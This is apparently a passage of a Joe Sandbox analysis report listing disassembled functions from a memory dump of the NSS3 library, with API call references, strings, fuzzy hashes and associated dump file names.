Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(?), ref: 6C739CF0
PR_NewPollableEvent.NSS3 ref: 6C739D03

Part of subcall function 6C72F3B0: PR_CallOnce.NSS3(6C7814B0,6C72F510), ref: 6C72F3E6
Part of subcall function 6C72F3B0: PR_CreateIOLayerStub.NSS3(6C78006C), ref: 6C72F402
Part of subcall function 6C72F3B0: PR_Malloc.NSS3(00000004), ref: 6C72F416
Part of subcall function 6C72F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C72F42D
Part of subcall function 6C72F3B0: PR_SetSocketOption.NSS3(?), ref: 6C72F455
Part of subcall function 6C72F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C72F473

Part of subcall function 6C6E9890: TlsGetValue.KERNEL32(?,?,?,6C6E97EB), ref: 6C6E989E

EnterCriticalSection.KERNEL32(?), ref: 6C739D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DAF
_PR_CreateThread.NSS3(00000000,6C739EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739D9F

Part of subcall function 6C60B3C0: TlsGetValue.KERNEL32 ref: 6C60B403
Part of subcall function 6C60B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C60B459

_PR_CreateThread.NSS3(00000000,6C73A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C739DFC
_PR_CreateThread.NSS3(00000000,6C73A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C739E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C739E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C739E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C739E89

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction ID: d1a1590bfbbc92205c282f6470395642825a3387f1e50c52a5e70ce0fc9f92c0
Opcode Fuzzy Hash: 01fcd3e7c185bd5fc1100918f11ead94ec577e77417f4121989cd6ff569a6a9d
Instruction Fuzzy Hash: 8F618FB1A00716AFD715DF75C944AA7BBF8FF49208B04453AE809C7B51EB30E814CBA5

Function 6C633FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C634014

Part of subcall function 6C6339F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F,?), ref: 6C633A08
Part of subcall function 6C6339F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C635E6F), ref: 6C633A1C
Part of subcall function 6C6339F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C633A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C634038

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C63404D

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A0F4), ref: 6C6340C2

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C63409A

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6340DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6340F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C634108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C63411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C634137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C634150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C74A1C8), ref: 6C63417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C634194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6341A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6341B2
PK11_DestroyObject.NSS3(?,?), ref: 6C6341D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6341FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C74A1A8), ref: 6C63422D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction ID: ef056f8a82c09a89625217f0d1b8ba775a43e494f9f0d11bfc651d9e6c4c41ef
Opcode Fuzzy Hash: 4fd692b001f3b1c3ce91d5a773997aa322ef05388189723d76822af50c363a56
Instruction Fuzzy Hash: A451F5B1A047106BF7109A259C41F77BADCDF5134CF046929E95EC6F82FBA2E508826E

Function 6C678E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678E9E
PORT_ArenaAlloc_Util.NSS3(6C780B64,00000001,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C678E01,00000000,6C679060,6C780B64), ref: 6C678EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C678E01), ref: 6C678EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C780B64,6C780B64), ref: 6C678F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C678F3F

Part of subcall function 6C67A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C67A421,00000000,00000000,6C679826), ref: 6C67A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C678E76

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction ID: 91883e97ecfc8c3b7d05619a20896fbaa108d30cd282eb342e5c7539108c6c3e
Opcode Fuzzy Hash: f69c62602dfb31536617967fd66723cf721a9af0d81e0055c00f6d327e565cbb
Instruction Fuzzy Hash: 6E61B2B1D001199BDB20CF65CC48AABB7B5FF88358F144528EC18A7751E735AD15CBB4

Function 6C628E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C628E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C628E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C628EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C7518D0,?), ref: 6C628F03
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C628F19
PL_FreeArenaPool.NSS3(?), ref: 6C628F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C628F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C628F65
PL_FinishArenaPool.NSS3(?), ref: 6C628FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C628FFE
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C629012
PL_FreeArenaPool.NSS3(?), ref: 6C629024
PL_FinishArenaPool.NSS3(?), ref: 6C62902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C62903E

Strings

security, xrefs: 6C628EE7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction ID: 2aa2f50d7da62cfbcc4c3a815e969ddc0e97f5c57054a127ffc7f0724fe17b6c
Opcode Fuzzy Hash: 76566adf29bdfc5cb25587843c6677afd2d060b5ea63ab26f5e9cc11d8cec01b
Instruction Fuzzy Hash: 27514A72509300ABD7109A549C40FEB73E8AFCA75CF40082EF99597B50E739D9098B6F

Function 6C6ECD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C6ECC7B), ref: 6C6ECD7A

Part of subcall function 6C6ECE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C65C1A8,?), ref: 6C6ECE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECD8E

Part of subcall function 6C6105C0: PR_EnterMonitor.NSS3 ref: 6C6105D1
Part of subcall function 6C6105C0: PR_ExitMonitor.NSS3 ref: 6C6105EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C6ECDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C6ECDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C6ECE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C6ECE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C6ECE48

Strings

freeaddrinfo, xrefs: 6C6ECD9F, 6C6ECE10
getnameinfo, xrefs: 6C6ECDB2, 6C6ECE23
wship6.dll, xrefs: 6C6ECDE3
getaddrinfo, xrefs: 6C6ECD88, 6C6ECDF9
ws2_32.dll, xrefs: 6C6ECD75

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction ID: 6c6350936c69c1a386bf2d72c56a60320e13f7804c75041cac7e4762053c57ec
Opcode Fuzzy Hash: 28e3623c183514f238feb50ce62ab5233d63e5f709ccee7a5098f92de181574e
Instruction Fuzzy Hash: 82112CA5F1B11077DB006A352E00ABA3D9C5B0720EF744536E916D1F01FF22D629CAEE

Function 6C731C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6C7313BC,?,?,?,6C731193), ref: 6C731C6B
PR_NewLock.NSS3(?,6C731193), ref: 6C731C7E

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PR_NewCondVar.NSS3(00000000,?,6C731193), ref: 6C731C91

Part of subcall function 6C60BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6121BC), ref: 6C60BB8C

PR_NewCondVar.NSS3(00000000,?,?,6C731193), ref: 6C731CA7

Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C60BBEB
Part of subcall function 6C60BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C60BBFB
Part of subcall function 6C60BB80: GetLastError.KERNEL32 ref: 6C60BC03
Part of subcall function 6C60BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C60BC19
Part of subcall function 6C60BB80: free.MOZGLUE(00000000), ref: 6C60BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6C731193), ref: 6C731CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6C731193), ref: 6C731CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6C731193), ref: 6C731D1A

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6C731193), ref: 6C731D3D

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6C731193), ref: 6C731D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6C731193), ref: 6C731D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6C731193), ref: 6C731D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6C731193), ref: 6C731D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6C731193), ref: 6C731D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6C731193), ref: 6C731D93
PR_DestroyLock.NSS3(00000000,?,?,6C731193), ref: 6C731D9F
free.MOZGLUE(00000000,?,6C731193), ref: 6C731DA8

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction ID: 9608400c30f723e5c89203e4ec74ca6041a37412981253de04c5b368e7068a8c
Opcode Fuzzy Hash: 4b4c41f79fdc35ea9c463228b99d45a4331ac3c356387a8ffe44f29923552af4
Instruction Fuzzy Hash: D231C6F1E107115BEB119F24AD01AA777E4AF0760DB044439E94A87F42FB71E418CBAA

Function 6C645E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C645ECF
EnterCriticalSection.KERNEL32(?), ref: 6C645EE3
PR_Unlock.NSS3(?), ref: 6C645F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6C645FB5

Strings

S&fl, xrefs: 6C6462E3
S&fl, xrefs: 6C645E6C, 6C64627F, 6C645F12
NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6C6461F4

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&fl$S&fl
API String ID: 2280678669-1585161461
Opcode ID: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction ID: a58910acdfb15723b5b82397b753032bc81a6c6dc0ddd3a18ee8fa536bf3a187
Opcode Fuzzy Hash: 94dc875ce359c012b2f1ad25b78287f19d75cc1167e370a65d5a9aaf0aae3013
Instruction Fuzzy Hash: ECF104B4A00215DFDB54CF28C884B86BBF4FF09304F1582AAD8089B746E774EA94CF95

Function 6C690C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,il), ref: 6C690C81

Part of subcall function 6C67BE30: SECOID_FindOID_Util.NSS3(6C63311B,00000000,?,6C63311B,?), ref: 6C67BE44

Part of subcall function 6C668500: SECOID_GetAlgorithmTag_Util.NSS3(6C6695DC,00000000,00000000,00000000,?,6C6695DC,00000000,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C668517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690CC4

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C690CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C690D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C690D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C690D7D
free.MOZGLUE(00000000), ref: 6C690DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690DC1
free.MOZGLUE(00000000), ref: 6C690DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C690E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C690E0F

Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695E0
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C647F4A,00000000,?,00000000,00000000), ref: 6C6695F5
Part of subcall function 6C6695C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C669609
Part of subcall function 6C6695C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C66961D
Part of subcall function 6C6695C0: PK11_GetInternalSlot.NSS3 ref: 6C66970B
Part of subcall function 6C6695C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C669756
Part of subcall function 6C6695C0: PK11_GetIVLength.NSS3(?), ref: 6C669767
Part of subcall function 6C6695C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C66977E
Part of subcall function 6C6695C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C66978E

Strings

*,il, xrefs: 6C690DCC
*,il, xrefs: 6C690C69, 6C690DE0, 6C690C80, 6C690C8B, 6C690CAF
-$il, xrefs: 6C690C64

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,il$*,il$-$il
API String ID: 3136566230-1071090931
Opcode ID: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction ID: e7505ba3423967a94c93fd52005074b2c70bca11c7843a346610e643b524906a
Opcode Fuzzy Hash: c14430cd31def093a12c73cf20f2c8be9c9fadbb1a254c46b9c2e32375eeb0a2
Instruction Fuzzy Hash: A041E1B190120AABEF009F64DC41BEF76B4AF0930CF104428E91557B51E735AA18CBFA

Function 6C685CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6C685CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C685CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C685D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6C685EC0,00000000,?,?), ref: 6C685D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6C685D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C685D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6C685D80

Strings

sql:, xrefs: 6C685CD1, 6C685D36
multiaccess:, xrefs: 6C685CB8
dbm:, xrefs: 6C685D03, 6C685D60
extern:, xrefs: 6C685CEA, 6C685D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6C685D1A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
